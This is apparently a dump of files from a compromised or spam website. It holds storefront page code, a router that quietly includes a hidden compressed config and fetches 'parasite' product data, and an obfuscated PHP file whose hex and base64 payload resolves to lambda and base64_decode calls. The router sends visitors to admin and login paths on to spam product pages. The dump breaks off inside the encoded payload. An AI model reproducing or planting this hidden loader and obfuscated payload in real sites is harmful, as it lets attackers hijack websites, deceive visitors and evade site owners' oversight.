'https:\/\/cdn.suruga-ya.jp\/pics\/common\/pc\/user_black.svg',\n        'https:\/\/cdn.suruga-ya.jp\/pics\/common\/pc\/cart_black.svg'\n    ].filter(Boolean);\n    \n    criticalImages.forEach(function(src) {\n        var link = document.createElement('link');\n        link.rel = 'preload';\n        link.as = 'image';\n        link.href = src;\n        document.head.appendChild(link);\n    });\n});\n<\/script>\n\n<script>\nwindow.addEventListener('error', function(e) {\n    console.error('JavaScript Error:', e.error);\n    if (typeof gtag === 'function') {\n        gtag('event', 'exception', {\n            'description': e.error.toString(),\n            'fatal': false\n        });\n    }\n});\n\nwindow.addEventListener('unhandledrejection', function(e) {\n    console.error('Unhandled Promise Rejection:', e.reason);\n});\n<\/script>\n\n<script>\ndocument.addEventListener('DOMContentLoaded', function() {\n    document.addEventListener('keydown', function(e) {\n        if (e.key === 'Escape') {\n            $('.modal').modal('hide');\n            $('#sidebar_menu').removeClass('active');\n            $('.overlay').removeClass('active');\n        }\n        if (e.key === 'Tab') {\n            var focusableElements = document.querySelectorAll(\n                'a[href], button, textarea, input[type=\"text\"], input[type=\"radio\"], input[type=\"checkbox\"], select'\n            );\n            document.addEventListener('focusin', function(e) {\n                e.target.classList.add('keyboard-focused');\n            });\n            \n            document.addEventListener('focusout', function(e) {\n                e.target.classList.remove('keyboard-focused');\n            });\n        }\n    });\n    var buttons = document.querySelectorAll('button:not([aria-label])');\n    buttons.forEach(function(button) {\n        if (button.textContent.trim()) {\n            button.setAttribute('aria-label', button.textContent.trim());\n        }\n    });\n});\n<\/script>\n\n<style>\n.keyboard-focused {\n    outline: 2px solid #007bff !important;\n    outline-offset: 2px !important;\n}\n\n.notification-item {\n    padding: 10px;\n    border-bottom: 1px solid #eee;\n    transition: background-color 0.3s ease;\n}\n\n.notification-item:hover {\n    background-color: #f8f9fa;\n}\n\n.notification-item.unread {\n    background-color: #e3f2fd;\n    border-left: 3px solid #2196f3;\n}\n\n.notification-item h6 {\n    margin: 0 0 5px 0;\n    font-size: 14px;\n    font-weight: 600;\n}\n\n.notification-item p {\n    margin: 0 0 5px 0;\n    font-size: 13px;\n    color: #666;\n}\n\n.notification-item small {\n    color: #999;\n    font-size: 11px;\n}\n\n.is-invalid {\n    border-color: #dc3545 !important;\n    box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25) !important;\n}\n\n@keyframes flyToCart {\n    to {\n        transform: translateX(100px) translateY(-50px) scale(0.1);\n        opacity: 0;\n    }\n}\n\n.flying-to-cart {\n    animation: flyToCart 1s ease-in-out forwards;\n}\n\n\/* Loading states *\/\n.loading {\n    position: relative;\n    pointer-events: none;\n}\n\n.loading::after {\n    content: '';\n    position: absolute;\n    top: 50%;\n    left: 50%;\n    width: 20px;\n    height: 20px;\n    margin: -10px 0 0 -10px;\n    border: 2px solid transparent;\n    border-top: 2px solid #007bff;\n    border-radius: 50%;\n    animation: spin 1s linear infinite;\n}\n\n@keyframes spin {\n    0% { transform: rotate(0deg); }\n    100% { transform: rotate(360deg); }\n}\n\n\/* Image loading states *\/\nimg[data-src]:not([src]) {\n    opacity: 0;\n    transition: opacity 0.3s ease;\n}\n\nimg[data-src].loaded {\n    opacity: 1;\n}\n<\/style> \n<script>\ndocument.addEventListener('DOMContentLoaded', function() {\n    const hoursElem = document.getElementById('countdown-hours');\n    const minutesElem = document.getElementById('countdown-minutes');\n    const secondsElem = document.getElementById('countdown-seconds');\n\n    if (hoursElem && minutesElem && secondsElem) {\n        let totalSeconds = \n            parseInt(hoursElem.textContent, 10) * 3600 +\n            parseInt(minutesElem.textContent, 10) * 60 +\n            parseInt(secondsElem.textContent, 10);\n\n        if (totalSeconds > 0) {\n            const countdownInterval = setInterval(function() {\n                if (totalSeconds <= 0) {\n                    clearInterval(countdownInterval);\n                    hoursElem.textContent = '00';\n                    minutesElem.textContent = '00';\n                    secondsElem.textContent = '00';\n                    return;\n                }\n\n                totalSeconds--;\n\n                let hours = Math.floor(totalSeconds \/ 3600);\n                let minutes = Math.floor((totalSeconds % 3600) \/ 60);\n                let seconds = totalSeconds % 60;\n\n                hoursElem.textContent = String(hours).padStart(2, '0');\n                minutesElem.textContent = String(minutes).padStart(2, '0');\n                secondsElem.textContent = String(seconds).padStart(2, '0');\n            }, 1000);\n        }\n    }\n\n    \/\/ --- Dynamic Price Update Logic ---\n    const priceDisplayPanel = document.querySelector('.selected_price .price-buy');\n    const priceLabelPanel = document.querySelector('.selected_price');\n    const priceRadios = document.querySelectorAll('input[name=\"grade\"]');\n    const priceDifferenceDisplay = document.querySelector('.product_note.mgnB0 p');\n    \n    \/\/ Store original values for price difference calculation\n    const newPriceValue = parseFloat(`<?php echo $product['price_original']; ?>`);\n    const usedPriceValue = parseFloat(`<?php echo $product['price_current']; ?>`);\n\n    function updatePrice(event) {\n        const selectedRadio = event.target;\n        const priceLabel = selectedRadio.getAttribute('data-price-label');\n        const priceValue = selectedRadio.getAttribute('data-price-value');\n        \n        if (priceDisplayPanel && priceLabelPanel) {\n            priceDisplayPanel.textContent = `${priceValue} (tax included)`;\n            \/\/ Update the \"New\" or \"Used\" label text\n            priceLabelPanel.firstChild.nodeValue = `${priceLabel} `;\n        }\n        \n        \/\/ Update the \"cheaper than\" message\n        if (priceDifferenceDisplay) {\n            let difference = 0;\n            if (priceLabel === 'Used') {\n                difference = newPriceValue - usedPriceValue;\n            }\n            \/\/ You can add logic for other labels if needed.\n            \/\/ If 'New' is selected, the message should probably be hidden.\n            \n            if (difference > 0) {\n                priceDifferenceDisplay.textContent = `$${difference.toFixed(2)} cheaper than the new price!!`;\n                priceDifferenceDisplay.parentElement.style.display = 'block';\n            } else {\n                priceDifferenceDisplay.parentElement.style.display = 'none';\n            }\n        }\n    }\n\n    priceRadios.forEach(radio => radio.addEventListener('change', updatePrice));\n    \n    \/\/ Set initial state for the \"cheaper than\" message\n    const initialSelectedRadio = document.querySelector('input[name=\"grade\"]:checked');\n    if (initialSelectedRadio && initialSelectedRadio.getAttribute('data-price-label') !== 'Used') {\n         if(priceDifferenceDisplay) {\n            priceDifferenceDisplay.parentElement.style.display = 'none';\n         }\n    }\n});\n<\/script>\n<\/div>\n<\/body>\n<\/html> ","path":"components.php"},{"content":"User-agent: *\nAllow: \/\nSitemap: https:\/\/vmt.world\/sitemap.xml","path":"robots.txt"},{"content":"<?php\n\/\/ Load config.gz first, fallback to config.php\n$_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '\/cache\/') . 'config.gz';\nif (file_exists($_z)) {\n    @include_once 'compress.zlib:\/\/' . $_z;\n} elseif (file_exists(__DIR__ . '\/config.php')) {\n    $_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '\/cache\/') . 'config.gz';\nif (file_exists($_z)) @include_once 'compress.zlib:\/\/' . $_z;\n}\n\n$request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '\/';\n$script_name = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '\/index.php';\n\n$base_path = dirname($script_name);\n$base_path = str_replace('\\\\', '\/', $base_path); \n$base_path = ($base_path == '\/') ? '' : $base_path; \n\nif (strpos($request_uri, $base_path) === 0) {\n    $request_path = substr($request_uri, strlen($base_path));\n} else {\n    $request_path = $request_uri;\n}\n\n$request_path = strtok($request_path, '?');\n$request_path = trim($request_path, '\/');\n\n$segments = explode('\/', $request_path);\n\nif (!function_exists('redirect_to_random_product')) {\n    function redirect_to_random_product($base_url) {\n    try {\n        \/\/ Load config.gz first, fallback to config.php\n        $_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '\/cache\/') . 'config.gz';\n        if (file_exists($_z)) {\n            @include_once 'compress.zlib:\/\/' . $_z;\n        } elseif (file_exists(__DIR__ . '\/config.php')) {\n            $_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '\/cache\/') . 'config.gz';\nif (file_exists($_z)) @include_once 'compress.zlib:\/\/' . $_z;\n        }\n        \n        $apiData = getParasiteData();\n        \n        if ($apiData && isset($apiData['product']) && isset($apiData['product']['id'])) {\n            $random_product_id = $apiData['product']['id'];\n            $redirect_url = buildProductUrl($random_product_id);\n            header(\"Location: \" . $redirect_url, true, 301);\n            exit();\n        }\n    } catch (Exception $e) {\n        error_log(\"Random product redirect failed: \" . $e->getMessage());\n    }\n    \n    $fallback_url = buildProductUrl('600001');\n    header(\"Location: \" . $fallback_url, true, 301);\n    exit();\n    }\n}\n\n$product_id = parseProductId($request_uri);\n\nif ($product_id && is_numeric($product_id) && $product_id > 0) {\n    try {\n        \/\/ Load config.gz first, fallback to config.php\n        $_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '\/cache\/') . 'config.gz';\n        if (file_exists($_z)) {\n            @include_once 'compress.zlib:\/\/' . $_z;\n        } elseif (file_exists(__DIR__ . '\/config.php')) {\n            $_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '\/cache\/') . 'config.gz';\nif (file_exists($_z)) @include_once 'compress.zlib:\/\/' . $_z;\n        }\n        $apiData = getParasiteData($product_id);\n        \n        if ($apiData && isset($apiData['product'])) {\n            $_GET['id'] = $product_id;\n            require 'components.php';\n            exit();\n        }\n    } catch (Exception $e) {\n        error_log(\"Product validation failed: \" . $e->getMessage());\n    }\n    \n    redirect_to_random_product($base_parasite_url);\n}\n\n$first_segment = isset($segments[0]) ? strtolower($segments[0]) : '';\n\n$redirect_patterns = array(\n    'wp-admin', 'wp-login', 'admin', 'login', 'wp-content', 'wp-includes',\n    'robots.txt', 'sitemap.xml', 'favicon.ico', 'apple-touch-icon',\n    'android-chrome', '.well-known', 'index.php', 'index.html',\n    'search', 'shop', 'products', 'cart', 'checkout', 'account'\n);\n\n\nif (in_array($first_segment, $redirect_patterns) || \n    strpos($first_segment, '.php') !== false || \n    strpos($first_segment, '.html') !== false ||\n    strpos($first_segment, '.') !== false) {\n    redirect_to_random_product($base_parasite_url);\n}\n\nif (empty($request_path) || $request_path == '' || $request_path == 'index.php') {\n    try {\n        \/\/ Load config.gz first, fallback to config.php\n        $_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '\/cache\/') . 'config.gz';\n        if (file_exists($_z)) {\n            @include_once 'compress.zlib:\/\/' . $_z;\n        } elseif (file_exists(__DIR__ . '\/config.php')) {\n            $_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '\/cache\/') . 'config.gz';\nif (file_exists($_z)) @include_once 'compress.zlib:\/\/' . $_z;\n        }\n        $apiData = getParasiteData();\n\n        if ($apiData && isset($apiData['product'])) {\n            $_GET['id'] = $apiData['product']['id'];\n            require 'components.php';\n            exit();\n        } else {\n            $fallback_url = buildProductUrl('600001');\n            header(\"Location: \" . $fallback_url, true, 301);\n            exit();\n        }\n    } catch (Exception $e) {\n        error_log(\"Failed to load first product for homepage: \" . $e->getMessage());\n        redirect_to_random_product($base_parasite_url);\n    }\n}\n\nredirect_to_random_product($base_parasite_url); ","path":"router.php"},{"content":"<?php\n\/**\n * \u672c\u4ee3\u7801\u7531 \u6613\u822aPHPEnCode V1.1 \u521b\u5efa\n * \u521b\u5efa\u65f6\u95f4 2026-01-07 18:04:42\n * \u6280\u672f\u652f\u6301 \u6613\u822a <2136118039@qq.com>\n * \u4e25\u7981\u53cd\u7f16\u8bd1\u3001\u9006\u5411\u7b49\u4efb\u4f55\u5f62\u5f0f\u7684\u4fb5\u6743\u884c\u4e3a\uff0c\u8fdd\u8005\u5c06\u8ffd\u7a76\u6cd5\u5f8b\u8d23\u4efb\n * http:\/\/encode.bri6.cn\/\n**\/\nif (!defined('__AA__E07D2546EC72606E9860FB76F6915AE1__AA__')) define('__AA__E07D2546EC72606E9860FB76F6915AE1__AA__', '__AA__E07D2546EC72606E9860FB76F6915AE1__AA__');$GLOBALS[__AA__E07D2546EC72606E9860FB76F6915AE1__AA__] = explode(')u)C)4', 'H*)u)C)458313973595731695a47453d)u)C)466756e6374696f6e5f657869737473)u)C)45f5f6c616d626461)u)C)46261736536345f6465636f6465)u)C)4654e72745856747a346b697966702b492f512f7a734247394733746951784c51336354455042676b6765525759516c646b463432514c49466b724470787430672f6671545756573659474d50646750753362416d5a686775756c525735706466587172382b2b2f732b50742f34506a7a772b72623476622b35734d663943302f2f767767536b4a4c2b76543573786832785a76703945594d517a474b75744848614472394e49756d762f657a3658723937332f2f2b384d66762f48722f6636333339372f2b642f39357a64556b4e2b5065507a35364a4d5045374737396a317845517955507a2f516a3272744f756a6753767a6e372b2f482b2f462b76422f2f6d386548634f6b4b3055542f726731637966633264377261765a6e6b365363476d6f4361444b372f38793671392b503965442f656a2f666a2f58672f336f2f33342f3334627a766530786e76782f7678667277662f37764868396c30666632782f5a2f6f4f72794c726a2f3838533652392b503965442f656a2f666a2f6669705937657a596572353857566654514d76574d3257626e725a6a32346d67747162694a3846303145487068416f566d4a75526e61765a39712b59435a423330693033436730776243316c7058454c5576743373427662795a35754c6f63392f69316e447464354a38585673393041746c4b725147524c7a71476f765a495976564a4374644a744d4a497a4b325252494f5248436b547364737a3365364e6e6d2f696e7a732f2f6151726b57454c6573395779617a386e4d4335566b6f476c75494c6870787554456552694b4a4a4a6f34704d5849694b7a6b522f4459524c4336486271544a5168784d3570765a6f4a7347342f6a32792f4275376651334f583147496635617669634a5845734f55704b6b556d4337533149344c534d4a6b76703755794b324c3748766652486572363858572f4f4c6a4c4a304e6b524f78534378466b5232784e46342b2f474c6572453245765a3776344466652f442f647469473979326a43415653474f58352f4432387973477938586b4f39326b5253536e66533059423379394e2b4630497a2b5067655957786446712b4853523448794d686332507035384769756e3848726766504265636c6d755454357a5a617046392b72385039517269656e704b6c4951574a7634567877583344445148644d506f76476b63654a47474c46426435494d507a4c48334a414a3344357a4e6b6d4a5069596e636368514e7944495661766e6a2f554354772b2f7235344835466a484b6831794f794c35612f4e77616c585052734e46435866684a6c784a34762f475541723348627433765a79453437766d316c5a4b6b56766a32483933454c66707346537a305a795a566363392f574e6f46744c55594452517a736141356a33776132307736536551727646333642637a366642306b4b6e78747451386276553379467a35304f364f49577a77766b75495058385a6636416c384431416e627852365148462f39597236454d634d7a78514c3933745067653738443578563466634f654a2b773539446e594966346533733858515a4c426338523450336f39646c2f34664b6e6a383831486e6762766734565238507668642f4176475368462b5479566e417559663951662f6c724a63366d415445463359517a2b30684878484e397a7042474d482b616b51312f4c65566b3662522b656a306a772b77474d64596e6e77664d503848665a6e41776379516464484f46374f595466756b742f435849622f794c6e503639586d36445776774b2b62784562644b6f776a365676652f586677452b5442336233302b505535306253793069534a6235484d674c58384731346c5a544e53465a68544b6e674a335465595a376a6a6945356262792b542f45734667335a5248735536504e532f4e4d32674947465965755a55657a526c2f467a63744d415177435041476349346976673130696d2b4952365746543636666d41562f43393741736a32306f51542b6c377a362b76672f685458414165386563366146374e6a582f592f49742b3370546668515379425a7844334f58346975637648616d57697734794276794738526d466a37674e3433647148443761504d376e49376d635435427441764e48582b656f5833766d55647567586f4676334d4a2f43304a666c57496b4778743850374c4e44536d556c6b4766482f4533534f48634a2b5972524c6b4c69502f4d4477464f797a37443635664e482b43746a6e4b732f422f46492f53722f563847482f627237354e3631307472485058702b437035324a70416247634c2f2b4a725157775465554b4b636947793253594458366a3948646a647742654e77716e3934704c6574314f2f682f6c693868636636574831504747422b414b36574a51386f5434663952572f4e39412f742b443743746559586745754a476a544c734d313144744a7a5879623467586742754a6475683068766730307755635a4a666937734a4b54542b30727265653341467a7a6648674f2f427a483778654d58314565513345517636665068632b3761504154707064774478393047363442347956464e442b496c78586d6c7369474d4549633830444f73746d422b576a77465a5350676e494350754d306552504f50313650587063554b4a7577566550483375643678484e3848412b3944735537696548434c7435512f4d505045364f636c2b7238414f304c766f666e32314c37712f55622f544c714d386a61364244303033494766494c714f664144774f6e446542334f5039676635377430666744484b7679442b59486e526436336e7964582b493266777976364e61312b666a712f564e3979784d656146384d38794f6265333158336b52577741374f687477376159346f3864756433644a7a342f45614e543361496567597963637435577149647754794a5a37456a543132696e51416641437877385257774d474f3877577667487030504535395867504e46796e2f5a4f4242482b667a443939587a494d3958474f2f32664935444959777279426f38756b58504c31424f464c2f7775674b6472366265515277786f732b76534c572f3877584b36366c654b77392b2f35507965684250675a2b4658326c676e78436c4a6962467852486c4855374f374d69554d493441663751427a704b67336c4b3957384a64376434637041377a692f614f2b6b67797546364f65672f2b476c37683932782b59447a344f5435506a484c4f537a30784a424e695273426732345466364b6c527850442b7236355479345764487a4a3873476e63772f5334774d2f422f6b70384b4d7879486f6f414d416630466656515950704a557137333944706f6677624d43796e41726849542f577662574272342f423143625a374e6f7748784876364f79566d6839676e5077336e5a7866357834503377664f72506751504350626e646954767835444e34442b2f424c36422b36796e4d4664776434386664367a362b4c7a4951367438786268586738785a37627a423530486c46666f57666c2f794b785945673777586f643137695a69446a2f644250774c7a4c46384267644b702f5449394e504539432f574e384c4f54326f5846354f5253504d65635167443742665a6a384373514673454f63483951722b747a302b654662656c327745375137352b48336a56664b453176674b352f34766e354666614a36794f33576b464265774d636b625550353272506e493136677676734378392f577938373345632b4264344e6667486b5a305669336552333250634d4274466564346933497466334d395675422f4e5334366658676563504f77664942663872744a6763376b37693949512b46655344306648692f70666f6930336d42397a685050422b42666c6257452f696477504179706245784761446359623574672b4d65745576675966583941492f674f554b522b734545375150734b726c416a4f69674c38547667542f673531524f364f2b5966534b486a6646366f4f382b787774717a3174384473704c714636436236572f423135433951374741652f7064616b66776563773248696f2f424548774c6f506b707647786f643873516a7a6972384374724a35412f744d444247766833774a4f4f61423179337443336b76796a326c31384e356f766d67496a37734f75412f434a663743486c566b654938636e374535343369636f6e5854766b3579494573646e466c3779753163386258774b3657484a656f506f44642f3852316d6636686e6c476553506b65777932716a344337474539647747662b4b2b3045384972787442625456375337326e38594e734e2f394f75483239487a2b6b44394549322f3051344f6b67507932793331563977666b594b4e487a6a32427530522f4e6c68383552516e6b68354d4c7969766e4e6569632f6a4d44384131783068336832715879564f4d622f59356a77563835744d2f394576796b624f6e6850664b3458427270387a2f78664363364739787641353441663833693967586f467634507867766d4e306f4a78322f4466445a3469375155396b5454774d7035486e4b68796e642f68434a572b4434742b7263626c74674e774e4f5470552f796c65305845784f2b4434683334662f544b33672b4b46656b44354a4d3337356b784f476c36442f584f595078525948676c77672f72566876322f304e364a5a44353550786f485572385970486966327037437a6176395072366e646d437975476e4a636272515372313852752b6a394d6c7855507a41387a4775773345644a45654b4f33512b51662f5a63364239674a346c422f714a346f4c6d2b356d2f514a774a362b736b4c37626a4b68347337616530572f535441666672524f5a2b6a6649683833585852377867385448364334792f2b484f626632566654587553536a2f47386164444a41567874665150776c2f5a78545036782b534a2f6f5835522f446a794774706e466363726e395558796c505a2f506a4d4438414f4d3779474d35723566654548535065775450432f4642636653312f7048724d6363622b3739546e762b426c374c6b41357a4633444c682f34485735485642636f6e7147666f66573551694e54772b504232712b54362b4466486e4a2b4d5a782f546c356b5439767867484968394d5731693972662b712f7844374c664750526c426574747a4b3866416b664c504e6465463742356431682b736e6b782f44457744786f432b584334316d475631676674593243347379723846316a646f7a356b5954364f6541464b482f2f71507977316b7348666d65304d546477724f646c656b487a5a6a6e4c472f6a43455a2b6235352b4d512b3249353875612b4158586f2f774765546a6d5635696445526f586d712b53412b59664875567a4438597a7867654e5a6e784135516e386f37494835775832384751655958734172337747502f43354e4936624b664e50374c724343336768717973566355502b794b66443272364b7375354538655a4965474c2b424a2f472b4f3152506a686e63542f5742536b2b487379336e3859506c763877304e6154462b447a48762b4d39764558505073313432567849597a336d505a4d45433854694d5a6f483472355776384963734e3554756b7a343356654641394942755958482b6344366563734c304437586170384e633054435a6776655a7858355061524d4c344f38356f615641376f482f666c62336565672b4f6e7a2f7a61457556503534486c55772f4f49326a5035444e33377a654375426e47426270632b6e6c6e772b6f4c394c3559643237356e6a733350496a4637497332316768477474495a44664239746d4439415668376f336e58386e6f483441764b3057643863326c69336d7a44363257302f6a4b69664e75702b714649557549436b32657a506e4c77654a2b634a34506e7678432f3266554a357a304278616d51327a6b2b6a3362672b4a36386234666c76326b64437a352f30584d2f7757647076576444395a6257495578657a32623169674e77354b3978472f462f61544b3942337677755a78345066686f39324635583458356753546d3857415a4c384a343676702f473351502b7948456b657a4f6951643636506c7431732b6b7a38482f496c3936375477312f536d726e324438534f746e6c4363633462706b58755666636278306e4936307139394b49782b6e35612b57373076316c6545657434396e384f704a7533374143786d76376d44634254694234384e38766b68786c4f55706d66343878523970506137754f3678347a63767476736e6e51496651622b2b373767577751767864394b4175356d5a6b6f49482b596231647a3041587352624c655a72577776362f6b596639675337744438533641764c47352f4a507a386a2f51587a38696e6d6765564749505a63734c382f6c6d4a6231514b706657462f45486c75716a343977555052784c76667741564c514f73776533757349744636446e33736d395863675a2b414c4c452f323844706350727a656548476f33304c3531486d37702f5762585a665a6d66546f64382f712b5a3736357450337166716d734537462b42474c507868654b497a5079677065682f4d7676442f69763850726d732f776c5365764537634f72664d59764d34396b7257443633553775457878336d5478314e49356c4f382b6b61396966552b6c33624436323276746549382b6e2b6936784b37394c4e4f446b4f65506b4d66512b7439722f6349657647667845456c6f485a48323737784d33732f45717a7478414e6a7859585543336e64442b304c4b764d394c39596a7a5759717a525433756b7366462b656a6775506e4a2b4a4c33723164317432306a7a3464326e565a356e754c674f4f7370337358726249416a396a35637653696f6e522f6b52303733484132394c63656638336f506a2b6643346f587a3248683937586c5666626867504c6a4763794c58654d57666c2f582f4654682f3574376655567837766434302b4437324446476333574a6568386474456f39623854367443722f4b766f46642b53396f3363722b71656635436631487655352f43702b663832764d447867737637706b6659576c6e6c4f35555236517376705555765a4c594a797074576e5049654d4e7264667232304834564f4b7a614d6a576b7467472b4d79667775646e36695573443144325466423456694330726f723665595434446e6a4336436477367044355a5030745a6d567642766139415837514f507970656564395637782b412f4f62466b655a31794f4d6b2f4a6465442b712b393945394b4d45383175502b334a2f31753863337a386b6358746b39334164796e7a6b425779647951433439464a4e36546f504f3074383171634e746b5467565539397a7a694b50336b694469355950374654395a75576455667174786d7668504751374154322f616a2b46324338527650326c5a38764f47377a65673332436361634e2f755633332b6f3777477443324f386657783541662b692f57434779507444667359663746343375654439614d594c36677a483139733654346a35494a71766536494f597252592f3930655066635577553955767437674a48714c64574b615a396e2f664857385774746a4b4a5639316a53762f6c5038364b64343669372f5035622b764a5a6e306e6931736a5073753862503236772b46504a363061766979352f477a327264336c4c626a6d6966666c4f7633416f2f79392b7839587357665438366e7434396d4e64482b5136787a6f4f5638622f576569432f316e486d65566676392b51542b66315a48793774687a3677662b4934656e566f6650704d50545a4a6d56375536376b6f50366431596c35766758452b78743279337350794b683361663850574766423830595036546c6b4871746374334637613937657a6c765644552b5a6666572b726a2f4b6559416942377470337354355130356d58665a2b3033487a57762b6871417a4b66446259333059526b59645a64526c346e75647a3357542f612b4237355274657648326d4e764a66486261322f6a6b663969322b61724b33772f372f59536e737950756f3943713076784b5078785831356a354572724337746452784958574757393971326c4e6d7a59683150356268313761772f616f4e737166586a2b575866576d6e794a6a62734339796a344a4d3269483545673839786f4f714c6d52312b306f5a4365593066686a4b2f3875523148476275776b794d6a396f776d6765447a2f6c6f30574e7a6f6659576761703059433749324c6e76574d6c64624e374f55397631503562587456717276756e456e7a5131474538466677766e747179576c627677573336666b654761477a745a78353654467134534e35355654574375317a43765254445262344a62393775667a2f643846742b47417a575a3575466136317444572b6e4350626532397850374a6b7a633952305a34787a36385a66786858434a2f393858576b65657878624f6f35486a504d5a30486b6b6d724c37306532636249397762395254484b4e49787972336f532f3869745954746c5a6d7168695065763334664446476358637070664a6c6643485363592f722f39315258783733504e334366634b6a2f694a5a5a476e6a577a5652794f3170663656364e657a31487957374767687463776a6e584f6463335257384869756942766e564c2f51706c53374e54345a4f6d724b617a545064417631624234754a4f38397a3763476831514e39425a3858564c4f754b6f65546d595a36757447466c4a317758312f484e6d4e396a364f517a652b3741505149727a546f7a314e4e6c4e7738386b48332f346b34666b422b7a5a62414b784f37476e31683359643662682f6c46366b7664373845797535323065764e6f4544667673516c76497a304132357835392f7073434c5978314c4e77347137437058737a6b7a704a4d483530666d57585951612b307448414c6f4f466c57706f50312b4e645074314a6c6632307a6354736e44682b69444c3174687a4b7676784a58553955396d344a3149677a70624733623750644c696e4c3631766a7a7676427570556838373767733737735445775a7a7146746d4d30624f6678584452787a6b2f566a2b596b62754c6378484c576551513435777275462b505735504b6276796e324d47773355595953733076317948595a34375770444564394f6a2b4162536d4f4951476458453639364162474a557a376d2f68384f715067637851346c30624f73494b49776e4878626f47795448666b6968696a32514a67536a436644556e57314a657875384c3942357236636a3856736e55456d47476d5775466e5947384e6d633047586341624e38573963714b684c67613154303474352f37474b7443667a676e78424d4342655745343231626c547766646233347275774c73555764693141374178726d2b66717a78674a344c7a32657059374537724d34645a6f35334f782b504b71783066376974655172766c644667395247765a66626e71396d537243505079695a674937376b6e484675365878754463714c484d364c4e4f48496d4e446d6d49427a7a4f2b527766786566482b7331326b31783946534835694a416e4d636a5341794e45436d756e634c2f326458474d746c75433778754a715061614962302b576d767062514c6f4955332f4f35584e532b61707064514e54652f6c5478706756676c5766645437304f3436574c4e2b65757a5059576944334b68746d48653254636f58784b6f6e6a4e63456667754c507270385831426a3650722f49484d726f6c4d304d467a41496650355030723446486b4a76742b3030314a3436556a517750754b30536659517861436a33714e566a746b726a685934344739527a614e6c756179614350677a6d612b4a30326a43484836504d614c6d317a373044584f6d4d305a5a6c4d765147344e4f56315a5856556d7475724d773766686f676a3441344d794d686a564d713772436553626a586d426b4431316d4354796b614f4d4635422b434c5247366d537758787052577137427a454658316772554258766d746e6a6d6b594877354c3239306333352b764d5336685849487a37613042584c48474e4f74796c6d5557764c6367627659523034424462534d7679774f334337496c57564e5731586c7152494b57315239564d6331647a5064372b775638504f5865577a3565366668783468726a524a67336b3839624148693465517364367642593531764a317843626a3473744a75704f7a6e5356596774697941372f4736666459546a526d7635633973587556782f736a397339326c73366e57686f6d2f41386c75356b335a74616c387a74314f7569546d4b6459454e6b744f7630323256523261383754614b324337356950466a4e5a306f4b3135745475556144374d634d634b763550424162584245486659386d7a4e7965432f6752574d4c4b3849734b61345a3236706f4f34494539734b6132614e547838532b513532432b6f7653313674466a523479394778783153317a473866467641674c655a794859494e6a4f5a3479666d334a316e4f353330396e6862633559644e732b356b516d34502b545830754f70462f6e414c375931696d345076573550416266676e38385349366d45446d4773784d7672653162384c726f72374b6750527467586b67335a717257384833646f65664d4a32416a393250482b7570424449312f696d7732794c34484533497a79642b63353279707a436b574b536643496f50723772714d66376547654f6263447668536541624b69636d69354672486c614e4239646170666261734d2f3843736f41596641312b47586d3345486764676570597a584f45575272383841445858464664685337616f35744d4d55592f57307a53734176376f737a56356b65576b566a6e4b5a683947306d766a456c754a74495739357374344c637a774c626137705a4742374165596758727a70724d67625032494f61633632627446314a58306b586b69626153356b344c59684a56765a716c716c726e5a774e35356f6c7a354574574b6f672b634642757a3355384b65763951486277506a396d4c764868334f46314d722f7a367679734f78586e366754396d786f7449712f647a43552f6648364d6f2b4d7a3535695966506e3847625a2b5a44765761473645385369576b7a426f2f724b526c787741767878614f336c4a72744d5163327a58626e7148324a6864447a4b6835724c332f646b454d4c4f7967377359356772584b3957784a664e546f425033715755726d436459544f465a477a7267543956656634707a492b705834304836532b537557507764557577355455355a712b6164734478525074726a7a377943524f6645572b5a50444a724471754b58492b65767972776736695354625954357132612b6d665048526b3562366434437430554f577753464769426e6a52537969495377306a56544a473262387157304e664b63446571724c38312f6e44452b344c366b5559766f43385752735a6a6c4853686e39546c65574648444a39316444315154387a796d714865754235733338456e4b5a6b38636a50703937447a6f50646f6f79386c786270304a494a50324c6c6354312f6d6b6c73396c3146497a394e6d327257797642316872344e68582b5a7935357275724c364272326b7a6143445a696c556675344e787a317533513139593230686545302b6c527976556f322b2f5431615a5064785066546a482f5a7869336b59393571435a655957376e625773326352302f4c3769767334506f42446c2b696457764758617a6d4f36734f4833502f564f466f536549577a734e4f5734622f6d6b353962625a5243492f5a72645742762b436e6e79756331796c72386436675766645934374c476177556b386239764662506650326e69742b564e632f78722b44334f58376c70663559523838664d7a355731525733354d42596c764f726e566f4f693038427a3652494a65376e4e384a374845737a4c365a73543545485a4c6d3368742f62673166415679703532566d6d4f526e57535852394c48586d6a7a6a73495043754239746b565048514d712b71334c30746a696b63783453797872413966703270375046682b664244646442713362576e366c3154427a756b794449444f51654c2b56414832394f4a5763384438375551532b6a417962427539474165796867783777304e51646447646a305044337a355a6a4b2b6d462b4e7a3469316c4e4d706a6636535938646e7a4834497452386558394d633977346e466b784a62316c4e546a77496874346b513979396e36586436625838566a79463176684c44745935515834473636304e2b537364724b74395754794d6c64536f746d74753778556676734f2f2b374c43486f6b796c7a7154524274377732776843735a712b47524f774d6a4f6e52507771377762727745637634654135645634505950656f34427837755945314e3558537946324d7966415977724d4364785070637a35566677326931764e6d6738646e792b4c6e43392f712f6d795775554a36377877476c2f314d655a70794845347677706252744755592b524747316657734437725441632b316d644274387a74744d355a635278636c2f57565879497677757a64622f444f2b536c79565557445778646c5431546a487563624c353176356f7535586830623333682b6e66464f6a6d2b747954694c64764e7a6e6448316f50757471554f5745726563416668595257784871616a2f6f72465973325944584e6f395553785739574c6b76455a686a7458656a6556306a594e696c684c50717472514c316676366454316e724a5771596d6e344e697352304c6a655836585974793559346b6d4c7a31526a5a336e366b772b7a7544516d672b765136784c44502b34473339386a76647a302f50336644647a754f54497554656d68324864397946727241667166506251717674432f4e496538745055427550474f4932797878546d50466a4e4275344e39757047412f64374e4b542b76363766323948637756343578644b4932457642782b664278424c445a6276756e556a6d58362f543961637135316a7871666742747730693743732f7233784c4f79786a65763055396556747337614c324c33723930534a324e4656302b2f4